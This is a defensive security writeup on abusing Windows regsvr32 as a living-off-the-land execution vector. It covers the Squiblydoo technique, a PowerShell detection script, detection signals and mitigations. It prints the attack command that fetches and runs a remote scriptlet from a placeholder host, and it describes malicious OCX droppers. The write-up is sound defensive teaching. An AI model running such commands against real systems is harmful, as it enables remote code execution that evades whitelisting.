← Back to writeups LOLBins

regsvr32 as Execution Vector

Living off the land with COM registration

// What is this?

Using a built-in Windows tool to run remote scripts — no files downloaded, no obvious malware.

LOLBins (Living-off-the-Land Binaries) are legitimate Windows tools abused to run malicious code. regsvr32.exe normally registers COM plugins. It also accepts a URL and can fetch + execute a COM scriptlet directly from the internet — no file written to disk, no PowerShell, bypasses most application whitelisting. The command regsvr32 /s /n /u /i:[URL] scrobj.dll runs silently in the background.

PowerShell — LOLBin Detection

→ Blue Team

# LOLBin execution patterns in Security log
Get-WinEvent -FilterHashtable @{LogName="Security"; Id=4688} -MaxEvents 500 -ErrorAction SilentlyContinue |
  Where-Object { $_.Message -match "regsvr32|mshta|certutil|bitsadmin|wmic.*process" } |
  Select-Object TimeCreated, @{N='Cmd';E={($_.Message -split 'Process Command Line:\s+')[1].Split([char]13)[0]}}

# Running LOLBins
Get-Process | Where-Object { $_.Name -match "regsvr32|mshta|certutil|wscript|cscript" } |
  Select-Object Name, Id, Path

# regsvr32 calling URLs
Get-WinEvent -FilterHashtable @{LogName="Security"; Id=4688} -MaxEvents 300 -ErrorAction SilentlyContinue |
  Where-Object { $_.Message -match "regsvr32.*/s.*/u.*http" }

If this flags: LOLBins with URLs or /s /u flags are executing remote code. regsvr32 should only load local DLLs. Check network connections from these processes.

What is regsvr32?

regsvr32.exe is a legitimate Windows utility for registering and unregistering COM components (DLLs and OCX files). It's signed by Microsoft and present on every Windows installation.

When you run regsvr32 something.dll, it:

Loads the DLL into memory
Calls DllRegisterServer() exported function
The DLL writes its COM class information to the registry

The problem: attackers can make DllRegisterServer() do anything.

The Abuse

OCX files are just DLLs with a COM interface. An attacker creates an OCX that:

Exports DllRegisterServer() as required
But instead of registering COM classes, executes arbitrary code
Downloads payloads, installs persistence, runs shellcode

Why It Works

Signed binary - regsvr32.exe is Microsoft-signed, trusted by application whitelisting
Expected behavior - Loading DLLs is what it's supposed to do
No suspicious arguments - Unlike PowerShell with encoded commands, the command line looks normal
Network capability - The /i flag can fetch remote scriptlets

The Squiblydoo Technique

The most notorious abuse uses scrobj.dll (Windows Script Component runtime):

regsvr32 /s /n /u /i:http://[remote]/payload.sct scrobj.dll

This downloads and executes a remote SCT (scriptlet) file containing JScript or VBScript. The /s flag suppresses dialogs, /n skips calling DllRegisterServer on scrobj.dll, and /i passes the URL to DllInstall.

Result: Remote code execution via a signed Microsoft binary, no files written to disk.

OCX as Dropper

A malicious OCX can be structured to:

Execute payload in DllRegisterServer() when registered
Install registry persistence during "registration"
Drop additional files to disk
Self-delete after execution

From the outside, it looks like normal software installation.

Detection Opportunities

Command line monitoring: regsvr32 with /i: flag containing URLs or network paths. Any /i:http or /i:\\ is highly suspicious.

Unusual locations: OCX/DLL files being registered from user directories (Downloads, Desktop, Temp). Legitimate registrations come from Program Files or System32.

Registry monitoring: DllRegisterServer writing to Run keys or other persistence locations instead of COM class registrations.

Network connections: regsvr32.exe making outbound network connections is almost always malicious.

Defensive Mitigations

Application whitelisting rules - Block regsvr32 execution from user-writable directories
Command line logging - Enable Process Creation events (Event ID 4688) with command line
Network segmentation - Block regsvr32.exe from making outbound connections at the firewall
ASR rules - Windows Defender Attack Surface Reduction has rules for this

Part of a Larger Pattern

regsvr32 is one of many "Living Off the Land Binaries" (LOLBins). Others include:

mshta.exe - HTML Application host
certutil.exe - Certificate utility (can download files)
rundll32.exe - DLL entry point caller
msiexec.exe - MSI installer

The common thread: legitimate signed binaries that can be abused for code execution.

MITRE ATT&CK: T1218.010 (System Binary Proxy Execution: Regsvr32)